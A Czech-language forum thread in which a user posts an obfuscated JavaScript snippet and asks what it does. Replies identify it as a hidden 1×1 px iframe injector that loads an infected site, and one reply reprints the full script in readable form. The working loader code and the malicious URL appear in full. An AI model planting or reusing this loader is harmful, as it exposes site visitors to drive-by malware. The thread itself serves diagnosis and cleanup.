| Autor | Zpráva | ||
|---|---|---|---|
| Nikdonic Profil * |
#1 · Zasláno: 17. 10. 2013, 22:42:04
Zdravím, můžete mi prosím někdo objasnit co dělá tento kód
;if('tRJbEP'=='WVJP')gJcC();}function MDtf(){}
var APhFAG;var UcUDiTw="appendChild";var LLwP='KroTx';var hYfGM;var BTMZw=58;var nXqWh="body";function tdqK(){var mPuP='HpxW';if('oMFw'=='GhnShr')SPtffS();}var AGmfrj='yLqnz';var RLxAOm="parseInt";var SbKVl;var RbTDgA;if('nIBcJV'=='CHsC')SBBToE();var uSlQv="fromCharCode";function vgjig(){}var HzaJd='oQcej';var appVersion_var="appVersion";if('yzTXaS'=='zgJpvI')axQF='AkSYG';var vdpXeot="constructor";function IINpm(){var SZtXe='gDzPpC';if('Iksi'=='rKPF')MMhWBV();}var NNdr;var px1_var="1px";var ChZSKh='EwwlT';var px0_var="0px";var QDyjoG;var pKlahnGT="";if('mHcxJS'=='AlSF')TdlIBL();function YNHf(){var EIts='UYLF';if('wuPi'=='lvbzPr')WlLta();}
var XSPmovG="a6b2b2ae786d6db29fa9b0a7b1ad6ca1adab6da7ac6ca1a5a77d70";var EIKwK='UcYng';var dloZ=202;var uiWKMc=189;var roqGtKPAT="slice";if('TRiGM'=='FAIiyf')MMAma='BOUu';function ayvKI(){}
var VFcpp=(function(){function wgwKf(){}if('OsVQA'=='FrpkCV')PCYJ();return this;if('qmqfqt'=='amCv')BYutN='WKpogf';var aJRSd=77;})();var PMpn=277;if('Imiy'=='mxkCQM')LXfi='PwvTk';var gPTPW="oXSsGbl"[vdpXeot];function ejwA(){}function RxUl(){}
function vJgM(){}function eMZw(){}if('UaudE'=='SnfH')ucNsB();for(var FOHLdJA=0;FOHLdJA<XSPmovG.length;FOHLdJA+=2){if('CnOLT'=='TEse')FMAan();RLCtd=VFcpp[RLxAOm](XSPmovG[roqGtKPAT](FOHLdJA,FOHLdJA+2),16)-62;pKlahnGT+=gPTPW[uSlQv](RLCtd);function ZRcn(){var mXjAs='HGHB';if('UZyfYd'=='JubCi')qdDi();}}
if('exbw'=='lRfOcr')NAvEpV='uqAT';function xMKvcS(){var wiolf='eelasM';if('yVKkh'=='cbIhF')MOPoQ();}
if('DzGeHV'=='CfYt')uAGLb();var BDysbCcaF="TDvafUSo";function UmEFu(){var QslBPb='reeLXx';if('aVfH'=='KcgC')YCddMJ();}
var VDhRUX="";if('xMohk'=='YkBN')pQwhT='uQDy';var oeBw;if(navigator[appVersion_var].indexOf("MSIE")!=-1){VDhRUX='<iframe name="'+BDysbCcaF+'" src="'+pKlahnGT+'">';if('blnzdB'=='NPFEGN')kMMdR();}else{function Bftcz(){var lMsxJ='boSIBM';if('XvLCDU'=='ljlyr')JJrzF();}if('kbhJ'=='ZVXO')FsXiBc='lyzhbd';VDhRUX='iframe';var ESKIN='ZDfdA';if('UIjN'=='xGjC')moKNa='PTTALd';}
var pQKOR;function PEjvlt(){}function dXNs(){var SzXzCH='Mpig';if('NvGubE'=='DgzQY')ODpLOU();}
var WpMJhNMG=document.createElement(VDhRUX);function UumAz(){}
WpMJhNMG.BWBwcm=function(){this["src"]=pKlahnGT;function IHrxqJ(){}var XYrP='HAkg';if('Djjy'=='OKlmI')IzXuRJ();}
if('gEtHrb'=='kWTojX')azNMfy();var zNMax='trkA';if('hxzB'=='lAmgFE')pIiwe='FmFkM';WpMJhNMG.name=BDysbCcaF;if('itQkR'=='JLDBf')PtXM='Chfmd';if('eiEoK'=='XvYv')JIFu();WpMJhNMG.BWBwcm();var hBNc='iIrd';if('PwDavE'=='IzmT')cyeNU();WpMJhNMG.style.height=px1_var;function BQNJpU(){}
WpMJhNMG.style.position="absolute";if('eEVK'=='KPWmU')QtBY='VJbB';if('hxAeWM'=='AUSHK')BtpIMO='uojaH';if('HvPBl'=='LEfF')Fotr();if('rOuhcR'=='Dfuc')Ifau();WpMJhNMG.style.top=px0_var;if('CjKS'=='gXjq')Bzkz='lHkdCz';var BXKjAx='ShtJ';function naxYvf(){var pKDVPr='PNmkge';if('mWhnSI'=='eMqHvn')ozCC();}
WpMJhNMG.style.width=px1_var;if('aaVB'=='mZpMaB')SDJoL='nRxzU';function SFPZGH(){var tjZdE='JPHAW';if('UCoi'=='xFbQ')TxwDs();}
WpMJhNMG.style.right=px0_var;function ryNRx(){}var eFrltX='zhmPZ';function FBGmeAs(){if('lcEgMC'=='dHSqz')aOCSat='xgtc';if('POyRd'=='AfqR')rohz='TpNP';if(document[nXqWh]){if('GGGZqV'=='uXqb')LpTE='yGfx';function TdHsQk(){}
document[nXqWh][UcUDiTw](WpMJhNMG);function WwTGYK(){}var BqyKi;}else{var JsOIV=81;if('LmdP'=='fwwFXg')fXQh();setTimeout(FBGmeAs,120);var rWvMci;}
function KjqoTt(){}}
if('LlTtYH'=='hRKeod')xgcpZ='xaud';FBGmeAs();function fVfT(){var uYFRp='irZH';if('Tstsa'=='aSQvq')XWNOKI();}if('vldiji'=='tdMwq')XxjN();if('lfjrB'=='oGjncO')eYlybk='abZPVB';if('qcolY'=='oBEG')GBrw='izZdr';var gZKRTe;</script> |
||
| juriad Profil |
#2 · Zasláno: 17. 10. 2013, 22:50:38
Nikdonic:
Jde o kus obfuskurovaného zdrojáku. Jeho cílem je to, aby člověk nebyl schopen pochopit, co dělá. Odstraň všechny nikdy nepoužité proměnné, funkce a nikdy nesplněné ify a skript se zpřehlední. Podle toho, co je na první pohled vidět, se snaží vložit do stránky nějaký iframe. |
||
| Trejpa Profil |
#3 · Zasláno: 18. 10. 2013, 02:05:14
Nikdonic:
Ten kód vyrábí iframe, překvapivě velikosti 1 × 1 px absolutně napozicovaný na pozici [0,0], který do sebe načítá zavirované ukrajinské stránky. Pozor, zavirováno! http://takriso.com/in.cgi?2 Pozor, zavirováno!
Jestli máš tento kód na svém webu, tak postupuj podle návodu Máte na webu virus — co s tím? |
||
| aDAm Profil |
#4 · Zasláno: 18. 10. 2013, 09:57:10
Jestli ti to pomůže tak trošku přehledněji zde:
;
if ('tRJbEP' == 'WVJP') gJcC();
}
function MDtf() {}
var APhFAG;
var UcUDiTw = "appendChild";
var LLwP = 'KroTx';
var hYfGM;
var BTMZw = 58;
var nXqWh = "body";
function tdqK() {
var mPuP = 'HpxW';
if ('oMFw' == 'GhnShr') SPtffS();
}
var AGmfrj = 'yLqnz';
var RLxAOm = "parseInt";
var SbKVl;
var RbTDgA;
if ('nIBcJV' == 'CHsC') SBBToE();
var uSlQv = "fromCharCode";
function vgjig() {}
var HzaJd = 'oQcej';
var appVersion_var = "appVersion";
if ('yzTXaS' == 'zgJpvI') axQF = 'AkSYG';
var vdpXeot = "constructor";
function IINpm() {
var SZtXe = 'gDzPpC';
if ('Iksi' == 'rKPF') MMhWBV();
}
var NNdr;
var px1_var = "1px";
var ChZSKh = 'EwwlT';
var px0_var = "0px";
var QDyjoG;
var pKlahnGT = "";
if ('mHcxJS' == 'AlSF') TdlIBL();
function YNHf() {
var EIts = 'UYLF';
if ('wuPi' == 'lvbzPr') WlLta();
}
var XSPmovG = "a6b2b2ae786d6db29fa9b0a7b1ad6ca1adab6da7ac6ca1a5a77d70";
var EIKwK = 'UcYng';
var dloZ = 202;
var uiWKMc = 189;
var roqGtKPAT = "slice";
if ('TRiGM' == 'FAIiyf') MMAma = 'BOUu';
function ayvKI() {}
var VFcpp = (function () {
function wgwKf() {}
if ('OsVQA' == 'FrpkCV') PCYJ();
return this;
if ('qmqfqt' == 'amCv') BYutN = 'WKpogf';
var aJRSd = 77;
})();
var PMpn = 277;
if ('Imiy' == 'mxkCQM') LXfi = 'PwvTk';
var gPTPW = "oXSsGbl" [vdpXeot];
function ejwA() {}
function RxUl() {}
function vJgM() {}
function eMZw() {}
if ('UaudE' == 'SnfH') ucNsB();
for (var FOHLdJA = 0; FOHLdJA < XSPmovG.length; FOHLdJA += 2) {
if ('CnOLT' == 'TEse') FMAan();
RLCtd = VFcpp[RLxAOm](XSPmovG[roqGtKPAT](FOHLdJA, FOHLdJA + 2), 16) - 62;
pKlahnGT += gPTPW[uSlQv](RLCtd);
function ZRcn() {
var mXjAs = 'HGHB';
if ('UZyfYd' == 'JubCi') qdDi();
}
}
if ('exbw' == 'lRfOcr') NAvEpV = 'uqAT';
function xMKvcS() {
var wiolf = 'eelasM';
if ('yVKkh' == 'cbIhF') MOPoQ();
}
if ('DzGeHV' == 'CfYt') uAGLb();
var BDysbCcaF = "TDvafUSo";
function UmEFu() {
var QslBPb = 'reeLXx';
if ('aVfH' == 'KcgC') YCddMJ();
}
var VDhRUX = "";
if ('xMohk' == 'YkBN') pQwhT = 'uQDy';
var oeBw;
if (navigator[appVersion_var].indexOf("MSIE") != -1) {
VDhRUX = '<iframe name="' + BDysbCcaF + '" src="' + pKlahnGT + '">';
if ('blnzdB' == 'NPFEGN') kMMdR();
} else {
function Bftcz() {
var lMsxJ = 'boSIBM';
if ('XvLCDU' == 'ljlyr') JJrzF();
}
if ('kbhJ' == 'ZVXO') FsXiBc = 'lyzhbd';
VDhRUX = 'iframe';
var ESKIN = 'ZDfdA';
if ('UIjN' == 'xGjC') moKNa = 'PTTALd';
}
var pQKOR;
function PEjvlt() {}
function dXNs() {
var SzXzCH = 'Mpig';
if ('NvGubE' == 'DgzQY') ODpLOU();
}
var WpMJhNMG = document.createElement(VDhRUX);
function UumAz() {}
WpMJhNMG.BWBwcm = function () {
this["src"] = pKlahnGT;
function IHrxqJ() {}
var XYrP = 'HAkg';
if ('Djjy' == 'OKlmI') IzXuRJ();
}
if ('gEtHrb' == 'kWTojX') azNMfy();
var zNMax = 'trkA';
if ('hxzB' == 'lAmgFE') pIiwe = 'FmFkM';
WpMJhNMG.name = BDysbCcaF;
if ('itQkR' == 'JLDBf') PtXM = 'Chfmd';
if ('eiEoK' == 'XvYv') JIFu();
WpMJhNMG.BWBwcm();
var hBNc = 'iIrd';
if ('PwDavE' == 'IzmT') cyeNU();
WpMJhNMG.style.height = px1_var;
function BQNJpU() {}
WpMJhNMG.style.position = "absolute";
if ('eEVK' == 'KPWmU') QtBY = 'VJbB';
if ('hxAeWM' == 'AUSHK') BtpIMO = 'uojaH';
if ('HvPBl' == 'LEfF') Fotr();
if ('rOuhcR' == 'Dfuc') Ifau();
WpMJhNMG.style.top = px0_var;
if ('CjKS' == 'gXjq') Bzkz = 'lHkdCz';
var BXKjAx = 'ShtJ';
function naxYvf() {
var pKDVPr = 'PNmkge';
if ('mWhnSI' == 'eMqHvn') ozCC();
}
WpMJhNMG.style.width = px1_var;
if ('aaVB' == 'mZpMaB') SDJoL = 'nRxzU';
function SFPZGH() {
var tjZdE = 'JPHAW';
if ('UCoi' == 'xFbQ') TxwDs();
}
WpMJhNMG.style.right = px0_var;
function ryNRx() {}
var eFrltX = 'zhmPZ';
function FBGmeAs() {
if ('lcEgMC' == 'dHSqz') aOCSat = 'xgtc';
if ('POyRd' == 'AfqR') rohz = 'TpNP';
if (document[nXqWh]) {
if ('GGGZqV' == 'uXqb') LpTE = 'yGfx';
function TdHsQk() {}
document[nXqWh][UcUDiTw](WpMJhNMG);
function WwTGYK() {}
var BqyKi;
} else {
var JsOIV = 81;
if ('LmdP' == 'fwwFXg') fXQh();
setTimeout(FBGmeAs, 120);
var rWvMci;
}
function KjqoTt() {}
}
if ('LlTtYH' == 'hRKeod') xgcpZ = 'xaud';
FBGmeAs();
function fVfT() {
var uYFRp = 'irZH';
if ('Tstsa' == 'aSQvq') XWNOKI();
}
if ('vldiji' == 'tdMwq') XxjN();
if ('lfjrB' == 'oGjncO') eYlybk = 'abZPVB';
if ('qcolY' == 'oBEG') GBrw = 'izZdr';
var gZKRTe; |
||
| IdemeNaHavaj Profil |
#5 · Zasláno: 18. 10. 2013, 10:03:14
aDAm:
To ti ako dlho trvalo kým si to takto upratal? Je na upratovanie kódu nejaká online služba? |
||
| aDAm Profil |
#6 · Zasláno: 18. 10. 2013, 10:19:09
IdemeNaHavaj:
asi tak 15min v netbeans ;) |
||
| IdemeNaHavaj Profil |
#7 · Zasláno: 18. 10. 2013, 10:21:04
aDAm:
sublime text to nevie čo? |
||
| aDAm Profil |
#8 · Zasláno: 18. 10. 2013, 10:31:17
IdemeNaHavaj:
neee dělám si prdel ;) je na to online služba: http://jsbeautifier.org/ |
||
| IdemeNaHavaj Profil |
#9 · Zasláno: 18. 10. 2013, 10:33:58
aDAm:
Existuje aj niečo na kompletné upratovanie? :) Mám strašný bordel v kódoch, pomiešané html php css js.. |
||
| shaggy Profil |
#10 · Zasláno: 18. 10. 2013, 10:50:25
IdemeNaHavaj:
„Mám strašný bordel v kódoch, pomiešané html php css js..“ Myslím, že to nesúvisí s pôvodnou otázkou, tak to sem zbytočne nepleť. A na to existuje len jediný spôsob - poriadny programátor. |
||
|
Časová prodleva: 13 let
|
|||
0